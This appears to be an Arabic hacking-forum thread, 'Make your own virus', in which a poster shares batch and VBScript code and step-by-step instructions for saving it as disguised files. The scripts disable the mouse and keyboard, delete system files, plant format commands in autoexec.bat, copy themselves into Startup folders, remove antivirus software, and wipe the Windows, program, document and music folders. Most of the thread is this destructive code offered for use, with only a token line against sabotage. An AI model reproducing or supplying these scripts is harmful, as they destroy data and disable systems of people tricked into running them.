اصنع فيروسك بنفسك

[أنس]

اصنع فيروسك بنفسك
الكل نفسه يعرف طريقه عمل الفيروسات
وانا هنا بقدمها لكم
بطريقه بسطه
جدا
انا حمعت الاكواد من منتدبات كثيره لخدمه اعضاء هذا المنتدي

اولا --> ابدأ --> البرامج --> البرامج الملحقة --> المفكرة
"Start" ...<Program files"...>"acesseries"........>"notebook"
ضع الكود ثم اختر حفظ باسم

ثم اكتب الاسم مع الامتداد كالتالي مثلا elqrsan.bat ويجب ان تكتب .bat بعدين احفظة


اذا طلعت ايقونة الملف في داخلها عَجَلَة صفراء معناها ان الفيروس جاهز


ما عليك الا انك تغير ايقونته للتموية

و هذه هى الاكواد :-



)قاتل الدوس

@echo off C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
del c:\command.com
del c:\Io.sys
del c:\Config.sys
del c:\Msdos.sys
del c:\windows\system32\command.com
deltree /y C:\WINDOWS\COMMAND\*.*
deltree /y C:\WIN98\COMMAND\*.*
deltree /y C:\WINme\COMMAND\*.*
deltree /y C:\WIN_me\COMMAND\*.*
deltree /y C:\WINxp\COMMAND\*.*
deltree /y C:\WIN_xp\COMMAND\*.*
del d:\command.com
del d:\Io.sys
del d:\Config.sys
del d:\Msdos.sys
del d:\windows\system32\command.com
deltree

2) قاتل ملفات السيستم

@echo off
c:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
c:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
CLS

3)فورمات

call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo off@
shutdown -s

4) قتل الماوس+ الكيبورد

@echo off
C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
copy key.BAT C:\WINDOWS\startm~1\programs\startup
copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
CLS
echo abohacker
shutdown -s

5) قاتل النورتن

@echo off
%WinDir%\rundll.exe mouse,disable
%WinDir%\rundll.exe keyboard,disable
copy hahahah.BAT %windir%\startm~1\programs\startup
copy hahahah.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy hahahah.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
deltree /y c:\progra~1\norton~1\*.*
deltree /y d:\progra~1\norton~1\*.*
deltree /y c:\progra~1\zonela~1\*.*
deltree /y d:\progra~1\zonela~1\*.*
cls




اكواد فيروسات الـفي بي اس



1)قاتل الويندوز

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("c:\windows") Then
foldersys.DeleteFolder "c:\windows",TRUE
END IF
If foldersys.FolderExists ("c:\win98") Then
foldersys.DeleteFolder "c:\win98",TRUE
END IF
If foldersys.FolderExists ("c:\winme") Then
foldersys.DeleteFolder "c:\winme",TRUE
END IF
If foldersys.FolderExists ("c:\win_me") Then
foldersys.DeleteFolder "c:\win_me",TRUE
END IF
If foldersys.FolderExists ("c:\winxp") Then
foldersys.DeleteFolder "c:\winxp",TRUE
END IF
If foldersys.FolderExists ("c:\win_xp") Then
foldersys.DeleteFolder "c:\win_xp",TRUE
END IF
If foldersys.FolderExists ("d:\windows") Then
foldersys.DeleteFolder "d:\windows",TRUE
END IF

2)ماسح البرامج

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF

3) ماسح سطح الكتب + المستندات

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("c:\My Documents") Then
foldersys.DeleteFolder "c:\My Documents",TRUE
END IF
If foldersys.FolderExists ("D:\My Documents") Then
foldersys.DeleteFolder "D:\My Documents",TRUE
END IF
If foldersys.FolderExists ("c:\My Music") Then
foldersys.DeleteFolder "c:\My Music",TRUE
END IF
If foldersys.FolderExists ("D:\My Music") Then
foldersys.DeleteFolder "D:\My Music",TRUE
END IF
If foldersys.FolderExists ("C:\Documents and Settings") Then
foldersys.DeleteFolder "C:\Documents and Settings",TRUE
END IF
If foldersys.FolderExists ("D:\Documents and Settings") Then
foldersys.DeleteFolder "D:\Documents and Settings",TRUE
END IF

4)قاتل الام بي ثري

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("D:\MP3") Then
foldersys.DeleteFolder "D:\MP3",TRUE
END IF
If foldersys.FolderExists ("E:\MP3") Then
foldersys.DeleteFolder "E:\MP3",TRUE
END IF
If foldersys.FolderExists ("F:\MP3") Then
foldersys.DeleteFolder "F:\MP3",TRUE
END IF
If foldersys.FolderExists ("G:\MP3") Then
foldersys.DeleteFolder "G:\MP3",TRUE
END IF
If foldersys.FolderExists ("H:\MP3") Then
foldersys.DeleteFolder "H:\MP3",TRUE
END IF
If foldersys.FolderExists ("I:\MP3") Then
foldersys.DeleteFolder "I:\MP3",TRUE
END IF
If foldersys.FolderExists ("J:\MP3") Then
foldersys.DeleteFolder "J:\MP3",TRUE
END IF
If foldersys.FolderExists ("K:\MP3") Then
foldersys.DeleteFolder "K:\MP3",TRUE
END IF
If foldersys.FolderExists ("D:\SONGS") Then
foldersys.DeleteFolder "D:\SONGS",TRUE
END IF
If foldersys.FolderExists ("E:\SONGS") Then
foldersys.DeleteFolder "E:\SONGS",TRUE
END IF
If foldersys.FolderExists ("F:\SONGS") Then
foldersys.DeleteFolder "F:\SONGS",TRUE
END IF
If foldersys.FolderExists ("G:\SONGS") Then
foldersys.DeleteFolder "G:\SONGS",TRUE
END IF
If foldersys.FolderExists ("H:\SONGS") Then
foldersys.DeleteFolder "H:\SONGS",TRUE
END IF
If foldersys.FolderExists ("I:\SONGS") Then
foldersys.DeleteFolder "I:\SONGS",TRUE
END IF
If foldersys.FolderExists ("J:\SONGS") Then
foldersys.DeleteFolder "J:\SONGS",TRUE
END IF
If foldersys.FolderExists ("K:\SONGS") Then
foldersys.DeleteFolder "K:\SONGS",TRUE
END IF



ارجو ان يكون قد اعجبكم الموضوع





كينج الهكر ( أنــــــــــــــــــــــــــــس ) :twisted:

[Sugar]

انس امنيتى اتعلم الهكينج و راح اتعلم :twisted:

بس ما فهمت شى من الى مكتوب صعب شوى :roll:


بدى اخد درس مشان اعمل هكينج :mrgreen:

[أنس]

شكرا لك\لكي على الرد وانشاء الله سأقوم
بتوضيح هذه المعلومات لكم وبالتفصيل
وستقومون بتجربتها ايضا لكن ليس بقصد
التخريب وانا ارجو هذا
وشكراً



كينج الهكر ( أنـــــــــــــــــــــس ) :twisted:

[أنس]

انا الان سأقوم بتبسيط الفكرة أكثر
يعني :
أولاً:افتح قائمة إبداء
ثانياً:البرامج
ثالثاً:البرامج الملحقة
رابعاً:الدفتر أو المفكرة
خامساً: افتح الدفتر
سادساً:انسخ الكود الذي تريده وألصقه في الدفتر
والكود مثل هذا
4) قتل الماوس+ الكيبورد

@echo off
C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
copy key.BAT C:\WINDOWS\startm~1\programs\startup
copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
CLS
echo abohacker
shutdown -s
فقط انسخ الكلام الذي بالإنجليزي
سابعاً:اضغط على ملف
ثامناً:اضغط على حفظ باسم
تاسعاً:اكتب الاسم الذي تريد ان تسمي الفايروس به ولكن بعد كتابة الإسم الذي تريده
يجب عليك ان تكتب bat.
يعني إذا أردت أن تسمي الفايروس مثلاً
ANAS يجب ان تكتب بعد ANAS
bat.
يعني يصير الإسم هكذا ANAS.bat
بعدين احفظ الملف وإذا طلع على الأيقونة عجلة صفراء هذا يدل على أن الفايروس جاهز
وما عليكم سوى انكم تغيرو ايقونته للتمويه



وانا ما أتوقع أنه هناك أكثر من هذا التسهيل ههههههه
وشكراً



كينج الهكر ( أنـــــــــــــــــــس ) :twisted: